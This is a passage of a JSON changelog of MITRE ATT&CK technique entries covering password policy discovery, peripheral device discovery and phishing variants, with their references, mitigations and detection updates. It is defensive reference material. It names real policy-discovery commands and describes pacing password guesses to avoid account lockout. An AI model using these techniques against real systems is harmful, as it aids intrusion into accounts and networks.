+ "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1201",
+ "external_id": "T1201"
+ },
+ {
+ "source_name": "AWS GetPasswordPolicy",
+ "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"
+ },
+ {
+ "source_name": "Jamf User Password Policies",
+ "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
+ "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
+ },
+ {
+ "source_name": "Superuser Linux Password Policies",
+ "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
+ "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Regina Elwell",
+ "Sudhanshu Chauhan, @Sudhanshu_C",
+ "Isif Ibrahima, Mandiant",
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS",
+ "IaaS",
+ "Network Devices",
+ "Identity Provider",
+ "SaaS",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Metadata\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.781000+00:00\", \"old_value\": \"2025-04-15 19:59:00.168000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\"}}}",
+ "previous_version": "1.7",
+ "changelog_mitigations": {
+ "shared": [
+ "M1027: Password Policies"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Metadata)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0161: Password Policy Discovery \u2013 cross-platform behavior-chain analytics"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:28.471000+00:00",
+ "modified": "2025-10-24 17:48:37.563000+00:00",
+ "name": "Peripheral Device Discovery",
+ "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
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+ "source_name": "Peripheral Discovery Linux",
+ "description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.",
+ "url": "https://linuxhint.com/list-usb-devices-linux/"
+ },
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+ "source_name": "Peripheral Discovery macOS",
+ "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.",
+ "url": "https://ss64.com/osx/system_profiler.html"
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+ "source_name": "CrowdStrike BloodHound April 2018",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1069/003",
+ "external_id": "T1069.003"
+ },
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+ "source_name": "AWS Get Bucket ACL",
+ "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
+ "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
+ },
+ {
+ "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
+ "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
+ },
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+ "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
+ "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
+ "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
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+ "source_name": "Google Cloud Identity API Documentation",
+ "description": "Google. (n.d.). Retrieved March 16, 2021.",
+ "url": "https://cloud.google.com/identity/docs/reference/rest"
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+ "source_name": "Microsoft AZ CLI",
+ "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
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+ "source_name": "Microsoft Msolrole",
+ "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
+ },
+ {
+ "source_name": "GitHub Raindance",
+ "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
+ "url": "https://github.com/True-Demon/raindance"
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+ "new": [],
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0114: Behavioral Detection of Local Group Enumeration Across OS Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
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+ "created": "2020-03-02 18:45:07.892000+00:00",
+ "modified": "2025-10-24 17:49:11.351000+00:00",
+ "name": "Phishing",
+ "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1566",
+ "external_id": "T1566"
+ },
+ {
+ "source_name": "ACSC Email Spoofing",
+ "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
+ },
+ {
+ "source_name": "phishing-krebs",
+ "description": "Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.",
+ "url": "https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/"
+ },
+ {
+ "source_name": "CISA Remote Monitoring and Management Software",
+ "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
+ "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
+ },
+ {
+ "source_name": "cyberproof-double-bounce",
+ "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
+ "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"
+ },
+ {
+ "source_name": "Unit42 Luna Moth",
+ "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"
+ },
+ {
+ "source_name": "Microsoft Anti Spoofing",
+ "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
+ "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
+ },
+ {
+ "source_name": "Microsoft OAuth Spam 2022",
+ "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
+ },
+ {
+ "source_name": "sygnia Luna Month",
+ "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
+ "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
+ },
+ {
+ "source_name": "Proofpoint-spoof",
+ "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
+ "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"
+ },
+ {
+ "source_name": "Palo Alto Unit 42 VBA Infostealer 2014",
+ "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Philip Winther",
+ "Ohad Zaidenberg, @ohad_mz",
+ "Liora Itkin",
+ "Liran Ravich, CardinalOps",
+ "Scott Cook, Capital One"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Identity Provider",
+ "Linux",
+ "macOS",
+ "Office Suite",
+ "SaaS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.351000+00:00\", \"old_value\": \"2025-04-15 19:58:55.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n\\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n-\\n-Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\"}}}",
+ "previous_version": "2.7",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1021: Restrict Web-Based Content",
+ "M1031: Network Intrusion Prevention",
+ "M1047: Audit",
+ "M1049: Antivirus/Antimalware",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0022: File (File Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0070: Detection Strategy for Phishing across platforms."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-02 19:05:18.137000+00:00",
+ "modified": "2025-10-24 17:48:35.522000+00:00",
+ "name": "Spearphishing Attachment",
+ "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1566/001",
+ "external_id": "T1566.001"
+ },
+ {
+ "source_name": "ACSC Email Spoofing",
+ "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
+ },
+ {
+ "source_name": "Unit 42 DarkHydrus July 2018",
+ "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
+ "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+ },
+ {
+ "source_name": "Microsoft Anti Spoofing",
+ "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
+ "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
+ },
+ {
+ "source_name": "Elastic - Koadiac Detection with EQL",
+ "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
+ "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Philip Winther"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.522000+00:00\", \"old_value\": \"2025-04-15 23:10:26.686000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\\n\\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\\n-\\n-Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1018: User Account Management",
+ "M1021: Restrict Web-Based Content",
+ "M1031: Network Intrusion Prevention",
+ "M1047: Audit",
+ "M1049: Antivirus/Antimalware",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0022: File (File Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0236: Detection Strategy for Spearphishing Attachment across OS Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2023-09-07 21:50:08.827000+00:00",
+ "modified": "2025-07-02 18:06:37.932000+00:00",
+ "name": "Spearphishing Voice",
+ "description": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1566/004",
+ "external_id": "T1566.004"
+ },
+ {
+ "source_name": "CISA Remote Monitoring and Management Software",
+ "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
+ "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
+ },
+ {
+ "source_name": "Unit42 Luna Moth",
+ "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"
+ },
+ {
+ "source_name": "sygnia Luna Month",
+ "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
+ "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
+ },
+ {
+ "source_name": "Proofpoint Vishing",
+ "description": "Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.",
+ "url": "https://www.proofpoint.com/us/threat-reference/vishing"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Identity Provider"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-07-02 18:06:37.932000+00:00\", \"old_value\": \"2025-04-15 19:59:02.243000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n\\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n\\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\", \"old_value\": \"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n\\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n\\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n+Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n \\n All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n \"}}}",
+ "previous_version": "1.2",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use voice communications to ultimately gain | t | 1 | Adversaries may use voice communications to ultimately gain |
| > | access to victim systems. Spearphishing voice is a specific | > | access to victim systems. Spearphishing voice is a specific | ||
| > | variant of spearphishing. It is different from other forms o | > | variant of spearphishing. It is different from other forms o | ||
